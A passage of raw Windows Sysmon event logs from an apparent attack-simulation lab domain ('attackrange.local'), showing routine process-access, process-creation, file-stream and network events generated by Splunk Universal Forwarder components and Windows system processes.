Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014937Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.728{625C326B-70B8-613B-C004-00000000F101}1916C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014936Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.461{625C326B-70B8-613B-BF04-00000000F101}22883948C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014935Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.414{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9BBADE22DE6870C863FB59BEB04F5004,SHA256=5B3D190B3BAE8567F980FD211A3D36757CA090B2118109D6EAB0F10D6EA1C84D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:30.400{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59383-false10.0.1.12-8000- 23542300x800000000000000047343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:32.025{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6446B989A46BF714CCAB05A805F7200A,SHA256=BB054B7508AFED0325676F0EA73AC0908211CC71A7B92C439AD1469F1D3B438A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014934Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70B8-613B-BF04-00000000F101}2288C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014933Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014932Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014931Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014930Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014929Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014928Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014927Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014926Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014925Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014924Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-70B8-613B-BF04-00000000F101}2288C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014923Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.227{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-70B8-613B-BF04-00000000F101}2288C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014922Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:32.228{625C326B-70B8-613B-BF04-00000000F101}2288C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014952Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:33.414{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D406D6E4A395DF4B5E33D121E7D692D6,SHA256=A083899CDDEE307263C55F95ABE21A39ECFF3997CC5D7E1296F9CFD1F1D24BB3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:33.244{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71561F51D46063650DC8A12678083E32,SHA256=BF6A3ED85FE02CC9E3CAAA9F77B5A2892742767665DBFE7F61EA20E10D47D517,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014967Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.445{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F4D75FE4C6F91A43255BEE29B7D24B8,SHA256=63ECE33B724CEAA8BF19BCA434281A8D9EEA83844CCCC87D660E12937CB700D8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:50:34.462{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D7F613E95BC61999A40531BF0F6BF2D2,SHA256=3E88EBAFC8A0B657DC059B73BC26916A01D3D93F9FA6896210FE8E96B2E4876A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014966Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.352{625C326B-70BA-613B-C104-00000000F101}37163828C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014965Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-70BA-613B-C104-00000000F101}3716C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014964Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014963Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014962Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014961Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014960Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014959Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:50:34.117{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014958Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 